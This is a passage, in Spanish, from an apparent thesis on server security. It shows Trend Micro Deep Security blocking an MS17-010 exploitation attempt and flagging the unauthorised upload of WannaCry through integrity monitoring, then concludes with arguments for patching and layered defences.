Se puede observar que el trá�co fue reseteado.

Figura 5.63: Información de la alerta sobre el ataque realizado para explotar la vulne-
rabilidad MS17-010.

Con los resultados obtenidos con Deep Security se logró observar la mitigación de
la vulnerabilidad MS17-010 y el bloqueo del ataque, evitando que el atacante tome
control del servidor, realice robo de información o peor aún realice un cifrado de
archivos como se mostró en la fase 1.
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¾Qué pasaría si un usuario mal intencionado sube el archivo Wannacry directamente
en el servidor sin necesidad de realizar un ataque explotando alguna vulnerabilidad?

El servidor quedaría comprometido de la misma forma en que si se realizara un ataque.

Actualmente la mayoría de los ataques provienen internamente dentro de la orga-
nización, en ocaciones usuarios descontentos pueden realizar robo de información o
ejecutar algún archivo malicioso como Wannacry.

Pero para esto, también Deep Security puede prevenir con el módulo de Integrity
monitoring, a continuación se muestra un ejemplo de cómo el usuario "Michelçrea la
carpeta Wannacry directamente en el servidor y sube el archivo malicioso.

En principio es necesario crear la regla para monitorear directorios o archivos, en este
caso se crea una regla para monitorear el directorio Datos.

Figura 5.64: Regla que monitorea directorio C:\datos.

La siguiente imagen muestra la detección de la actividad del usuario �Michel�, por el
módulo Integrity Monitoring de Deep Security.
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Figura 5.65: De integrity monitoring sobre la política �Monitoreo_datos�.

La información que observo en el evento, se re�ere al servidor con actividad no auto-
rizada, creación del directorio Wannacry, y nombre del usuario que lo realizo.

Con esta información el administrador podrá tomar acciones inmediatas para evitar
que el servidor sea comprometido y también recurrir a las instancias correspondientes
para sancionar al usuario mal intencionado.

Figura 5.66: Detalle de alerta de integridad de archivos.

Otro tipo de alertas que se pueden obtener, es si algún usuario elimina archivos del
directorio �Datos�.



5.2. FASE 2 Con agente de Deep Security y blindaje a las aplicaciones
criticas 81

Figura 5.67: Alertas de modi�caciones en el directorio C:\datos.

De acuerdo a los resultados mostrados en la fase 2 se logra observar cómo la plataforma
de seguridad Trend Micro Deep Security disminuye la super�cie de riesgo y robustece
la seguridad del servidor bloqueando ataques dirigidos y mitigando vulnerabilidades
mediante el parcheo virtual.
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Conclusiones

En el presente trabajo se abordó la importancia que tiene la seguridad informática, la
seguridad es un factor muy importante en todo lo relacionando en la infraestructura
computacional y la información que está expuesta en todos los centros de datos que
existen en las instituciones. En la actualidad existe gente mal intencionada queriéndose
apoderar de los servidores o en su caso robar la información que es de suma importancia
para las instituciones.

Un hueco de seguridad muy importante que existe en las empresas o cualquier insti-
tución que no actualizan sus parches de sus sistemas operativos, por el mal dicho �si
sirve no lo toques� este tipo de temas pone en riesgo a la organización y sus activos
informáticos.

Se mostró lo fácil que es explotar una vulnerabilidad, lo sencillo de robar y cifrar
información, la disponibilidad de exploits generados por organizaciones de seguridad
de los Estados Unidos Americanos, pero también se demostró que con la herramienta
de seguridad Trend Micro Deep Security se disminuye la super�cie de riesgo blindando
los aplicativos críticos de los servidores sin necesidad de modi�carlos o actualizarlos.

Contar con una buena implementación de políticas de seguridad informática, debe ser
un punto clave en toda organización, de lo contrario se puede tener una gran caída que
puede perjudicar y causar pérdidas graves que pudieran haberse prevenido, es de vital
importancia que todas las organizaciones, publicas privadas y educativas cuenten con
protección en capas de seguridad para lograr disminuir la super�cie de ataque pues
como se pudo observar en esta investigación que las vulnerabilidades existen y son
explotables en cualquier versión de sistema operativo.
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